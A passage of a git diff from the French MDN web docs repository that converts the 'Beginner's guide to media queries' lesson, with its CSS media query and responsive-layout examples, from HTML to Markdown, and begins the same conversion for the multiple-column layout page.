only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels". Media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. In this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive.</p> +The **CSS Media Query** gives you a way to apply CSS only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels". Media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. In this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>HTML basics (study <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), and an idea of how CSS works (study <a href="/fr/docs/Learn/CSS/First_steps">CSS first steps</a> and <a href="/fr/docs/Learn/CSS/Building_blocks">CSS building blocks</a>.)</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To understand how to use media queries, and the most common approach for using them to create responsive designs.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + HTML basics (study + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction to HTML</a + >), and an idea of how CSS works (study + <a href="/fr/docs/Learn/CSS/First_steps">CSS first steps</a> and + <a href="/fr/docs/Learn/CSS/Building_blocks">CSS building blocks</a>.) + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td> + To understand how to use media queries, and the most common approach for + using them to create responsive designs. + </td> + </tr> + </tbody> </table> -<h2 id="Media_Query_Basics">Media Query Basics</h2> +## Media Query Basics -<p>The simplest media query syntax looks like this:</p> +The simplest media query syntax looks like this: -<pre class="brush: css">@media <em>media-type</em> and (<em>media-feature-rule</em>) { +```css +@media media-type and (media-feature-rule) { /* CSS rules go here */ -}</pre> +} +``` -<p>It consists of:</p> +It consists of: -<ul> - <li>A media type, which tells the browser what kind of media this code is for (e.g. print, or screen).</li> - <li>A media expression, which is a rule, or test that must be passed for the contained CSS to be applied.</li> - <li>A set of CSS rules that will be applied if the test passes and the media type is correct.</li> -</ul> +- A media type, which tells the browser what kind of media this code is for (e.g. print, or screen). +- A media expression, which is a rule, or test that must be passed for the contained CSS to be applied. +- A set of CSS rules that will be applied if the test passes and the media type is correct. -<h3 id="Media_types">Media types</h3> +### Media types -<p>The possible types of media you can specify are:</p> +The possible types of media you can specify are: -<ul> - <li><code>all</code></li> - <li><code>print</code></li> - <li><code>screen</code></li> - <li><code>speech</code></li> -</ul> +- `all` +- `print` +- `screen` +- `speech` -<p>The following media query will only set the body to 12pt if the page is printed. It will not apply when the page is loaded in a browser.</p> +The following media query will only set the body to 12pt if the page is printed. It will not apply when the page is loaded in a browser. -<pre class="brush: css">@media print { +```css +@media print { body { font-size: 12pt; } -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> the media type here is different from the so-called {{glossary("MIME type")}}.</p> -</div> +> **Note :** the media type here is different from the so-called {{glossary("MIME type")}}. -<div class="note"> -<p><strong>Note :</strong> there were a number of other media types defined in the Level 3 Media Queries specification; these have been deprecated and should be avoided.</p> -</div> +> **Note :** there were a number of other media types defined in the Level 3 Media Queries specification; these have been deprecated and should be avoided. -<div class="note"> -<p><strong>Note :</strong> Media types are optional; if you do not indicate a media type in your media query then the media query will default to being for all media types.</p> -</div> +> **Note :** Media types are optional; if you do not indicate a media type in your media query then the media query will default to being for all media types. -<h3 id="Media_feature_rules">Media feature rules</h3> +### Media feature rules -<p>After specifying the type, you can then target a media feature with a rule.</p> +After specifying the type, you can then target a media feature with a rule. -<h4 id="Width_and_height">Width and height</h4> +#### Width and height -<p>The feature we tend to detect most often in order to create responsive designs (and that has widespread browser support) is viewport width, and we can apply CSS if the viewport is above or below a certain width — or an exact width — using the <code>min-width</code>, <code>max-width</code>, and <code>width</code> media features.</p> +The feature we tend to detect most often in order to create responsive designs (and that has widespread browser support) is viewport width, and we can apply CSS if the viewport is above or below a certain width — or an exact width — using the `min-width`, `max-width`, and `width` media features. -<p>These features are used to create layouts that respond to different screen sizes. For example, to change the body text color to red if the viewport is exactly 600 pixels, you would use the following media query.</p> +These features are used to create layouts that respond to different screen sizes. For example, to change the body text color to red if the viewport is exactly 600 pixels, you would use the following media query. -<pre class="brush: css">@media screen and (width: 600px) { +```css +@media screen and (width: 600px) { body { color: red; } -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/width.html">Open this example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/width.html">view the source</a>.</p> +[Open this example](https://mdn.github.io/css-examples/learn/media-queries/width.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/width.html). -<p>The <code>width</code> (and <code>height</code>) media features can be used as ranges, and therefore be prefixed with <code>min-</code> or <code>max-</code> to indicate that the given value is a minimum, or a maximum. For example, to make the color blue if the viewport is narrower than 400 pixels, use <code>max-width</code>:</p> +The `width` (and `height`) media features can be used as ranges, and therefore be prefixed with `min-` or `max-` to indicate that the given value is a minimum, or a maximum. For example, to make the color blue if the viewport is narrower than 400 pixels, use `max-width`: -<pre class="brush: css">@media screen and (max-width: 400px) { +```css +@media screen and (max-width: 400px) { body { color: blue; } -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/max-width.html">Open this example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/max-width.html">view the source</a>.</p> +[Open this example](https://mdn.github.io/css-examples/learn/media-queries/max-width.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/max-width.html). -<p>In practice, using minimum or maximum values is much more useful for responsive design so you will rarely see <code>width</code> or <code>height</code> used alone.</p> +In practice, using minimum or maximum values is much more useful for responsive design so you will rarely see `width` or `height` used alone. -<p>There are a number of other media features that you can test for, although some of the newer features introduced in Level 4 and 5 of the media queries specification have limited browser support. Each feature is documented on MDN along with browser support information, and you can find a full list at <a href="/fr/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">Using Media Queries: Media Features</a>.</p> +There are a number of other media features that you can test for, although some of the newer features introduced in Level 4 and 5 of the media queries specification have limited browser support. Each feature is documented on MDN along with browser support information, and you can find a full list at [Using Media Queries: Media Features](/fr/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features). -<h4 id="Orientation">Orientation</h4> +#### Orientation -<p>One well-supported media feature is <code>orientation</code>, which allows us to test for portrait or landscape mode. To change the body text color if the device is in landscape orientation, use the following media query.</p> +One well-supported media feature is `orientation`, which allows us to test for portrait or landscape mode. To change the body text color if the device is in landscape orientation, use the following media query. -<pre class="brush: css">@media (orientation: landscape) { +```css +@media (orientation: landscape) { body { color: rebeccapurple; } -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/orientation.html">Open this example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/orientation.html">view the source</a>.</p> +[Open this example](https://mdn.github.io/css-examples/learn/media-queries/orientation.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/orientation.html). -<p>A standard desktop view has a landscape orientation, and a design that works well in this orientation may not work as well when viewed on a phone or tablet in portrait mode. Testing for orientation can help you to create a layout which is optimised for devices in portrait mode.</p> +A standard desktop view has a landscape orientation, and a design that works well in this orientation may not work as well when viewed on a phone or tablet in portrait mode. Testing for orientation can help you to create a layout which is optimised for devices in portrait mode. -<h4 id="Use_of_pointing_devices">Use of pointing devices</h4> +#### Use of pointing devices -<p>As part of the Level 4 specification, the <code>hover</code> media feature was introduced. This feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and keyboard navigation does not hover.</p> +As part of the Level 4 specification, the `hover` media feature was introduced. This feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and keyboard navigation does not hover. -<pre class="brush: css">@media (hover: hover) { +```css +@media (hover: hover) { body { color: rebeccapurple; } -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/hover.html">Open this example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/hover.html">view the source</a>.</p> +[Open this example](https://mdn.github.io/css-examples/learn/media-queries/hover.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/hover.html). -<p>If we know the user cannot hover, we could display some interactive features by default. For users who can hover, we might choose to make them available when a link is hovered over.</p> +If we know the user cannot hover, we could display some interactive features by default. For users who can hover, we might choose to make them available when a link is hovered over. -<p>Also in Level 4 is the <code>pointer</code> media feature. This takes three possible values, <code>none</code>, <code>fine</code> and <code>coarse</code>. A <code>fine</code> pointer is something like a mouse or trackpad. It enables the user to precisely target a small area. A <code>coarse</code> pointer is your finger on a touchscreen. The value <code>none</code> means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands.</p> +Also in Level 4 is the `pointer` media feature. This takes three possible values, `none`, `fine` and `coarse`. A `fine` pointer is something like a mouse or trackpad. It enables the user to precisely target a small area. A `coarse` pointer is your finger on a touchscreen. The value `none` means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands. -<p>Using <code>pointer</code> can help you to design better interfaces that respond to the type of interaction a user is having with a screen. For example, you could create larger hit areas if you know that the user is interacting with the device as a touchscreen.</p> +Using `pointer` can help you to design better interfaces that respond to the type of interaction a user is having with a screen. For example, you could create larger hit areas if you know that the user is interacting with the device as a touchscreen. -<h2 id="More_complex_media_queries">More complex media queries</h2> +## More complex media queries -<p>With all of the different possible media queries, you may want to combine them, or create lists of queries — any of which could be matched.</p> +With all of the different possible media queries, you may want to combine them, or create lists of queries — any of which could be matched. -<h3 id="and_logic_in_media_queries">"and" logic in media queries</h3> +### "and" logic in media queries -<p>To combine media features you can use <code>and</code> in much the same way as we have used <code>and</code> above to combine a media type and feature. For example, we might want to test for a <code>min-width</code> and <code>orientation</code>. The body text will only be blue if the viewport is at least 400 pixels wide and the device is in landscape mode.</p> +To combine media features you can use `and` in much the same way as we have used `and` above to combine a media type and feature. For example, we might want to test for a `min-width` and `orientation`. The body text will only be blue if the viewport is at least 400 pixels wide and the device is in landscape mode. -<pre class="brush: css">@media screen and (min-width: 400px) and (orientation: landscape) { +```css +@media screen and (min-width: 400px) and (orientation: landscape) { body { color: blue; } -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/and.html">Open this example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/and.html">view the source</a>.</p> +[Open this example](https://mdn.github.io/css-examples/learn/media-queries/and.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/and.html). -<h3 id="or_logic_in_media_queries">"or" logic in media queries</h3> +### "or" logic in media queries -<p>If you have a set of queries, any of which could match, then you can comma separate these queries. In the below example the text will be blue if the viewport is at least 400 pixels wide OR the device is in landscape orientation. If either of these things are true the query matches.</p> +If you have a set of queries, any of which could match, then you can comma separate these queries. In the below example the text will be blue if the viewport is at least 400 pixels wide OR the device is in landscape orientation. If either of these things are true the query matches. -<pre class="brush: css">@media screen and (min-width: 400px), screen and (orientation: landscape) { +```css +@media screen and (min-width: 400px), screen and (orientation: landscape) { body { color: blue; } -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/or.html">Open this example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/or.html">view the source</a>.</p> +[Open this example](https://mdn.github.io/css-examples/learn/media-queries/or.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/or.html). -<h3 id="not_logic_in_media_queries">"not" logic in media queries</h3> +### "not" logic in media queries -<p>You can negate an entire media query by using the <code>not</code> operator. This reverses the meaning of the entire media query. Therefore in this next example the text will only be blue if the orientation is portrait.</p> +You can negate an entire media query by using the `not` operator. This reverses the meaning of the entire media query. Therefore in this next example the text will only be blue if the orientation is portrait. -<pre class="brush: css">@media not all and (orientation: landscape) { +```css +@media not all and (orientation: landscape) { body { color: blue; } -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/not.html">Open this example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/not.html">view the source</a>.</p> +[Open this example](https://mdn.github.io/css-examples/learn/media-queries/not.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/not.html). -<h2 id="How_to_choose_breakpoints">How to choose breakpoints</h2> +## How to choose breakpoints -<p>In the early days of responsive design, many designers would attempt to target very specific screen sizes. Lists of the sizes of the screens of popular phones and tablets were published in order that designs could be created to neatly match those viewports.</p> +In the early days of responsive design, many designers would attempt to target very specific screen sizes. Lists of the sizes of the screens of popular phones and tablets were published in order that designs could be created to neatly match those viewports. -<p>There are now far too many devices, with a huge variety of sizes, to make that feasible. This means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the content starts to break in some way. Perhaps the line lengths become far too long, or a boxed out sidebar gets squashed and hard to read. That's the point at which you want to use a media query to change the design to a better one for the space you have available. This approach means that it doesn't matter what the exact dimensions are of the device being used, every range is catered for. The points at which a media query is introduced are known as <strong>breakpoints</strong>.</p> +There are now far too many devices, with a huge variety of sizes, to make that feasible. This means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the content starts to break in some way. Perhaps the line lengths become far too long, or a boxed out sidebar gets squashed and hard to read. That's the point at which you want to use a media query to change the design to a better one for the space you have available. This approach means that it doesn't matter what the exact dimensions are of the device being used, every range is catered for. The points at which a media query is introduced are known as **breakpoints**. -<p>The <a href="/fr/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a> in Firefox DevTools is very useful for working out where these breakpoints should go. You can easily make the viewport smaller and larger to see where the content would be improved by adding a media query and tweaking the design.</p> +The [Responsive Design Mode](/fr/docs/Tools/Responsive_Design_Mode) in Firefox DevTools is very useful for working out where these breakpoints should go. You can easily make the viewport smaller and larger to see where the content would be improved by adding a media query and tweaking the design. -<p><img alt="A screenshot of a layout in a mobile view in Firefox DevTools." src="rwd-mode.png"></p> + -<h2 id="Active_learning_mobile_first_responsive_design">Active learning: mobile first responsive design</h2> +## Active learning: mobile first responsive design -<p>Broadly, you can take two approaches to a responsive design. You can start with your desktop or widest view and then add breakpoints to move things around as the viewport becomes smaller, or you can start with the smallest view and add layout as the viewport becomes larger. This second approach is described as <strong>mobile first</strong> responsive design and is quite often the best approach to follow.</p> +Broadly, you can take two approaches to a responsive design. You can start with your desktop or widest view and then add breakpoints to move things around as the viewport becomes smaller, or you can start with the smallest view and add layout as the viewport becomes larger. This second approach is described as **mobile first** responsive design and is quite often the best approach to follow. -<p>The view for the very smallest devices is quite often a simple single column of content, much as it appears in normal flow. This means that you probably don't need to do a lot of layout for small devices — order your source well and you will have a readable layout by default.</p> +The view for the very smallest devices is quite often a simple single column of content, much as it appears in normal flow. This means that you probably don't need to do a lot of layout for small devices — order your source well and you will have a readable layout by default. -<p>The below walkthrough takes you through this approach with a very simple layout. In a production site you are likely to have more things to adjust within your media queries, however the approach would be exactly the same.</p> +The below walkthrough takes you through this approach with a very simple layout. In a production site you are likely to have more things to adjust within your media queries, however the approach would be exactly the same. -<h3 id="Walkthrough_a_simple_mobile-first_layout">Walkthrough: a simple mobile-first layout</h3> +### Walkthrough: a simple mobile-first layout -<p>Our starting point is an HTML document with some CSS applied to add background colors to the various parts of the layout.</p> +Our starting point is an HTML document with some CSS applied to add background colors to the various parts of the layout. -<pre class="brush: css">* { +```css +* { box-sizing: border-box; } @@ -244,63 +263,65 @@ nav a:hover { article { margin-bottom: 1em; } -</pre> - -<p>We've made no layout changes, however the source of the document is ordered in a way that makes the content readable. This is an important first step and one which ensures that if the content were to be read out by a screen reader, it would be understandable.</p> - -<pre class="brush: html"><body> - <div class="wrapper"> - <header> - <nav> - <ul> - <li><a href="">About</a></li> - <li><a href="">Contact</a></li> - <li><a href="">Meet the team</a></li> - <li><a href="">Blog</a></li> - </ul> - </nav> - </header> - <main> - <article> - <div class="content"> - <h1>Veggies!</h1> - <p> +``` + +We've made no layout changes, however the source of the document is ordered in a way that makes the content readable. This is an important first step and one which ensures that if the content were to be read out by a screen reader, it would be understandable. + +```html +<body> + <div class="wrapper"> + <header> + <nav> + <ul> + <li><a href="">About</a></li> + <li><a href="">Contact</a></li> + <li><a href="">Meet the team</a></li> + <li><a href="">Blog</a></li> + </ul> + </nav> + </header> + <main> + <article> + <div class="content"> + <h1>Veggies!</h1> + <p> ... - </p> - </div> - <aside class="related"> - <p> + </p> + </div> + <aside class="related"> + <p> ... - </p> - </aside> - </article> - - <aside class="sidebar"> - <h2>External vegetable-based links</h2> - <ul> - <li> + </p> + </aside> + </article> + + <aside class="sidebar"> + <h2>External vegetable-based links</h2> + <ul> + <li> ... - </li> - </ul> - </aside> - </main> + </li> + </ul> + </aside> + </main> - <footer><p>&copy;2019</p></footer> - </div> - </body> -</pre> + <footer><p>©2019</p></footer> + </div> + </body> +``` -<p>This simple layout also works well on mobile. If we view the layout in Responsive Design Mode in DevTools we can see that it works pretty well as a straightforward mobile view of the site.</p> +This simple layout also works well on mobile. If we view the layout in Responsive Design Mode in DevTools we can see that it works pretty well as a straightforward mobile view of the site. -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/step1.html">Open step 1</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">view the source</a>.</p> +[Open step 1](https://mdn.github.io/css-examples/learn/media-queries/step1.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html). -<p><strong>If you want to follow on and implement this example as we go, make a local copy of <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">step1.html</a> on your computer.</strong></p> +**If you want to follow on and implement this example as we go, make a local copy of [step1.html](https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html) on your computer.** -<p>From this point, start to drag the Responsive Design Mode view wider until you can see that the line lengths are becoming quite long, and we have space for the navigation to display in a horizontal line. This is where we'll add our first media query. We'll use ems, as this will mean that if the user has increased their text size, the breakpoint will happen at a similar line-length but wider viewport, than someone with a smaller text size.</p> +From this point, start to drag the Responsive Design Mode view wider until you can see that the line lengths are becoming quite long, and we have space for the navigation to display in a horizontal line. This is where we'll add our first media query. We'll use ems, as this will mean that if the user has increased their text size, the breakpoint will happen at a similar line-length but wider viewport, than someone with a smaller text size. -<p><strong>Add the below code into the bottom of your step1.html CSS.</strong></p> +**Add the below code into the bottom of your step1.html CSS.** -<pre class="brush: css">@media screen and (min-width: 40em) { +```css +@media screen and (min-width: 40em) { article { display: grid; grid-template-columns: 3fr 1fr; @@ -315,17 +336,18 @@ article { flex: 1; } } -</pre> +``` -<p>This CSS gives us a two-column layout inside the article, of the article content and related information in the aside element. We have also used flexbox to put the navigation into a row.</p> +This CSS gives us a two-column layout inside the article, of the article content and related information in the aside element. We have also used flexbox to put the navigation into a row. -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/step2.html">Open step 2</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step2.html">view the source</a>.</p> +[Open step 2](https://mdn.github.io/css-examples/learn/media-queries/step2.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/step2.html). -<p>Lets continue to expand the width until we feel there is enough room for the sidebar to also form a new column. Inside a media query we'll make the main element into a two column grid. We then need to remove the {{cssxref("margin-bottom")}} on the article in order that the two sidebars align with each other, and we'll add a {{cssxref("border")}} to the top of the footer. Typically these small tweaks are the kind of thing you will do to make the design look good at each breakpoint.</p> +Lets continue to expand the width until we feel there is enough room for the sidebar to also form a new column. Inside a media query we'll make the main element into a two column grid. We then need to remove the {{cssxref("margin-bottom")}} on the article in order that the two sidebars align with each other, and we'll add a {{cssxref("border")}} to the top of the footer. Typically these small tweaks are the kind of thing you will do to make the design look good at each breakpoint. -<p><strong>Again, add the below code into the bottom of your step1.html CSS.</strong></p> +**Again, add the below code into the bottom of your step1.html CSS.** -<pre class="brush: css"><code>@media screen and (min-width: 70em) { +```css +@media screen and (min-width: 70em) { main { display: grid; grid-template-columns: 3fr 1fr; @@ -340,43 +362,46 @@ article { border-top: 1px solid #ccc; margin-top: 2em; } -}</code> -</pre> - -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/step3.html">Open step 3</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step3.html">view the source</a>.</p> - -<p>If you look at the final example at different widths you can see how the design responds and works as a single column, two columns, or three columns, depending on the available width. This is a very simple example of a mobile first responsive design.</p> - -<h2 id="Do_you_really_need_a_media_query">Do you really need a media query?</h2> - -<p>Flexbox, Grid, and multi-column layout all give you ways to create flexible and even responsive components without the need for a media query. It's always worth considering whether these layout methods can achieve what you want without adding media queries. For example, you might want a set of cards that are at least 200 pixels wide, with as many of these 200 pixels as will fit into the main article. This can be achieved with grid layout, using no media queries at all.</p> - -<p>This could be achieved using the following:</p> - -<pre class="brush: html"><ul class="grid"> - <li> - <h2>Card 1</h2> - <p>...</p> - </li> - <li> - <h2>Card 2</h2> - <p>...</p> - </li> - <li> - <h2>Card 3</h2> - <p>...</p> - </li> - <li> - <h2>Card 4</h2> - <p>...</p> - </li> - <li> - <h2>Card 5</h2> - <p>...</p> - </li> -</ul></pre> - -<pre class="brush: css">.grid { +} +``` + +[Open step 3](https://mdn.github.io/css-examples/learn/media-queries/step3.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/step3.html). + +If you look at the final example at different widths you can see how the design responds and works as a single column, two columns, or three columns, depending on the available width. This is a very simple example of a mobile first responsive design. + +## Do you really need a media query? + +Flexbox, Grid, and multi-column layout all give you ways to create flexible and even responsive components without the need for a media query. It's always worth considering whether these layout methods can achieve what you want without adding media queries. For example, you might want a set of cards that are at least 200 pixels wide, with as many of these 200 pixels as will fit into the main article. This can be achieved with grid layout, using no media queries at all. + +This could be achieved using the following: + +```html +<ul class="grid"> + <li> + <h2>Card 1</h2> + <p>...</p> + </li> + <li> + <h2>Card 2</h2> + <p>...</p> + </li> + <li> + <h2>Card 3</h2> + <p>...</p> + </li> + <li> + <h2>Card 4</h2> + <p>...</p> + </li> + <li> + <h2>Card 5</h2> + <p>...</p> + </li> +</ul> +``` + +```css +.grid { list-style: none; margin: 0; padding: 0; @@ -388,39 +413,38 @@ article { .grid li { border: 1px solid #666; padding: 10px; -}</pre> +} +``` -<p><a href="https://mdn.github.io/css-examples/learn/media-queries/grid.html">Open the grid layout example</a> in the browser, or <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/grid.html">view the source</a>.</p> +[Open the grid layout example](https://mdn.github.io/css-examples/learn/media-queries/grid.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/grid.html). -<p>With the example open in your browser, make the screen wider and narrower to see the number of column tracks change. The nice thing about this method is that grid is not looking at the viewport width, but the width it has available for this component. It might seem strange to wrap up a section about media queries with a suggestion that you might not need one at all! However, in practice you will find that good use of modern layout methods, enhanced with media queries, will give the best results.</p> +With the example open in your browser, make the screen wider and narrower to see the number of column tracks change. The nice thing about this method is that grid is not looking at the viewport width, but the width it has available for this component. It might seem strange to wrap up a section about media queries with a suggestion that you might not need one at all! However, in practice you will find that good use of modern layout methods, enhanced with media queries, will give the best results. -<h2 id="Test_your_skills!">Test your skills!</h2> +## Test your skills! -<p>You've reached the end of this article, but can you remember the most important information? You can find a test to verify that you've retained this information before you move on — see <a href="/fr/docs/Learn/CSS/CSS_layout/rwd_skills">Test your skills: Responsive Web Design</a>.</p> +You've reached the end of this article, but can you remember the most important information? You can find a test to verify that you've retained this information before you move on — see [Test your skills: Responsive Web Design](/fr/docs/Learn/CSS/CSS_layout/rwd_skills). -<h2 id="Summary">Summary</h2> +## Summary -<p>In this lesson you have learned about media queries, and also discovered how to use them in practice to create a mobile first responsive design.</p> +In this lesson you have learned about media queries, and also discovered how to use them in practice to create a mobile first responsive design. -<p>You could use the starting point that we have created to test out more media queries. For example, perhaps you could change the size of the navigation if you detect that the visitor has a coarse pointer, using the <code>pointer</code> media feature.</p> +You could use the starting point that we have created to test out more media queries. For example, perhaps you could change the size of the navigation if you detect that the visitor has a coarse pointer, using the `pointer` media feature. -<p>You could also experiment with adding different components and seeing whether the addition of a media query, or using a layout method like flexbox or grid is the most appropriate way to make the components responsive. Very often there is no right or wrong way — you should experiment and see which works best for your design and content.</p> +You could also experiment with adding different components and seeing whether the addition of a media query, or using a layout method like flexbox or grid is the most appropriate way to make the components responsive. Very often there is no right or wrong way — you should experiment and see which works best for your design and content. -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Responsive_Design">Responsive design</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Media_queries">Beginner's guide to media queries</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy layout methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental layout comprehension assessment</a></li> -</ul> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Responsive design](/fr/docs/Learn/CSS/CSS_layout/Responsive_Design) +- [Beginner's guide to media queries](/fr/docs/Learn/CSS/CSS_layout/Media_queries) +- [Legacy layout methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental layout comprehension assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/multiple-column_layout/index.md b/files/fr/learn/css/css_layout/multiple-column_layout/index.md index 248c788e2b..b6e2cfb1ce 100644 --- a/files/fr/learn/css/css_layout/multiple-column_layout/index.md +++ b/files/fr/learn/css/css_layout/multiple-column_layout/index.md @@ -13,128 +13,146 @@ tags: translation_of: Learn/CSS/CSS_layout/Multiple-column_Layout original_slug: Apprendre/CSS/CSS_layout/Multiple-column_Layout --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}} -<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</div> - -<p>Une mise en page à colonnes multiples est une méthode de disposition du contenu sur plusieurs colonnes juxtaposées, telle dans un journal. Cet article explique comment utiliser cette fonction.</p> +Une mise en page à colonnes multiples est une méthode de disposition du contenu sur plusieurs colonnes juxtaposées, telle dans un journal. Cet article explique comment utiliser cette fonction. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>), et une idée du fonctionnement de CSS (étudiez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction à CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Apprendre comment créer une disposition de contenu sur plusieurs colonnes dans une page web, comme dans un journal.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Les fondamentaux du HTML (étudiez + <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a + >), et une idée du fonctionnement de CSS (étudiez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction à CSS</a>.) + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Apprendre comment créer une disposition de contenu sur plusieurs + colonnes dans une page web, comme dans un journal. + </td> + </tr> + </tbody> </table> -<h2 id="Un_exemple_élémentaire">Un exemple élémentaire</h2> +## Un exemple élémentaire -<p>Nous allons maintenant explorer la disposition du contenu sur plusieurs colonnes, souvent nommée « <em>multicol</em> ». Vous pourrez effectuer le suivi de cet article en <a 